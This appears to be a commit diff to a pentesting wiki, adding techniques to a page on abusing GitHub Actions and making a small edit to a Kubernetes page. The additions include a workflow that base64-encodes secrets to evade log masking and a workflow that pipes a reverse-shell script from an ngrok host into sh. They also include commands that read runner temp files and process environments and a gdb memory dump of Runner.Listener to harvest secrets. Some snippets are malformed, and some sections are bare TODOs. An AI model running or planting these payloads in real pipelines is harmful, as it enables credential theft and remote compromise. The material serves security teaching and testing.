GITBOOK-482: change request with no subject merged in GitBook

pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -155,6 +155,10 @@ jobs:
 
 </details>
 
+It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+
+<figure><img src="../../../.gitbook/assets/image (97).png" alt="" width="269"><figcaption></figcaption></figure>
+
 ## Allowed Execution
 
 {% hint style="info" %}
@@ -248,6 +252,12 @@ Moreover, according to the docs: The workflow started by the `workflow_run` even
 This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
 The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
 
+### `workflow_call`
+
+TODO
+
+TODO: Check if when executed from a pull\_request the used/downloaded code if the one from the origin or from the forked PR
+
 ## Abusing Forked Execution
 
 We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
@@ -370,7 +380,13 @@ jobs:
 
 ### Deleted Namespace Repo Hijacking
 
-This is a good blog post to read about fixed vulnerabilities that would allow an attacker to steal a deleted namespace to steal a famous repo (potentially because of a rename of the namespace): [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+
+{% hint style="danger" %}
+So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+{% endhint %}
+
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ***
 
@@ -417,7 +433,71 @@ Check the following pages:
 If you are injecting content into a script it's interesting to know how you can access secrets:
 
 * If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
+
+<details>
+
+<summary>List secrets in Github Action output</summary>
+
+```yaml
+name: list_env
+on:
+  workflow_dispatch: # Launch manually
+  pull_request: #Run it when a PR is created to a branch
+    branches:
+      - '**'
+  push: # Run it when a push is made to a branch
+    branches:
+      - '**'
+jobs:     
+  List_env:
+    runs-on: ubuntu-latest
+    steps:
+      - name: List Env
+        # Need to base64 encode or github will change the secret value for "***"
+        run: sh -c 'env | grep "secret_" | base64 -w0'
+        env:
+          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+
+                    secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+```
+
+</details>
+
+<details>
+
+<summary>Get reverse shell with secrets</summary>
+
+```yaml
+name: revshell
+on:
+  workflow_dispatch: # Launch manually
+  pull_request: #Run it when a PR is created to a branch
+    branches:
+      - '**'
+  push: # Run it when a push is made to a branch
+    branches:
+      - '**'
+jobs:     
+  create_pull_request:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Get Rev Shell
+        run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+        env:
+          secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+          secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+```
+
+</details>
+
 * If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
+  * ```bash
+    cat /home/runner/work/_temp/*
+    ```
+* For a JavaScript actions the secrets and sent through environment variables
+  * ```bash
+    ps axe | grep node
+    ```
 *   For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
     ```yaml
@@ -432,6 +512,17 @@ The way to find which **Github Actions are being executed in non-github infrastr
 
 **Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
 
+In self-hosted runners it's also possible to obtain the **secrets from the **_**Runner.Listener**_** process** which will contain all the secrets of the workflows at any step by dumping its memory:
+
+{% code overflow="wrap" %}
+```bash
+sudo apt-get install -y gdb
+sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
+```
+{% endcode %}
+
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+
 ### Github Docker Images Registry
 
 It's possible to make Github actions that will **build and store a Docker image inside Github**.\

pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -816,7 +816,7 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster
 
 {% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %}
 
-
+***
 
 <details>